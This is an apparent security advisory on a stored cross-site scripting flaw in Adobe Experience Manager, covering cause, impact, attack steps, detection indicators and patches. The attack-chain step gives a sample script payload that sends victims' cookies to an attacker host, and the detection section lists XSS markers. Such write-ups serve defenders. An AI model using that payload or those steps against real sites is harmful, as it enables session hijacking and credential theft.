CVE-2025-64574: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64574 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is then stored server-side and executes in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) but has low attack complexity and operates over the network with a changed scope, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Tenable Plugin).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because the injected script persists in the application (stored XSS), any user — including administrators — who views the affected page is at risk, amplifying the potential for privilege escalation or lateral movement within the AEM environment. Confidentiality and integrity are both impacted (low severity each per CVSS), while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using version disclosure endpoints (e.g., /system/console/productinfo) or web fingerprinting tools.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author/contributor account sufficient to submit content to vulnerable form fields.
3. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable AEM form field that is rendered without proper output encoding.
4. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content.
5. Harvest results: The victim's browser executes the injected script, sending session cookies, tokens, or other sensitive data to the attacker-controlled server, enabling session hijacking or further unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded XSS payloads (%3Cscript%3E, javascript:, onerror=, etc.).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; unusual GET requests to attacker-controlled URLs with query parameters containing cookie or token data.
• File System / Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onmouseover) in AEM JCR repository nodes under /content/ that were not placed by legitimate authors.
• Process/Application: AEM error logs showing XSS filter bypass attempts or Content Security Policy (CSP) violation reports if CSP is configured.

Adobe has released patches addressing CVE-2025-64574 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As an interim measure, enforcing a strict Content Security Policy (CSP) header can reduce the impact of stored XSS by restricting script execution to trusted origins. Additionally, reviewing and restricting content authoring permissions to minimize the number of users who can submit content to vulnerable fields is recommended (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64574 among the December 2025 Adobe patch batch (CIS Advisory). Tenable published a Nessus detection plugin (278346) for the vulnerability. General community reaction has been limited, consistent with the medium severity rating and lack of active exploitation.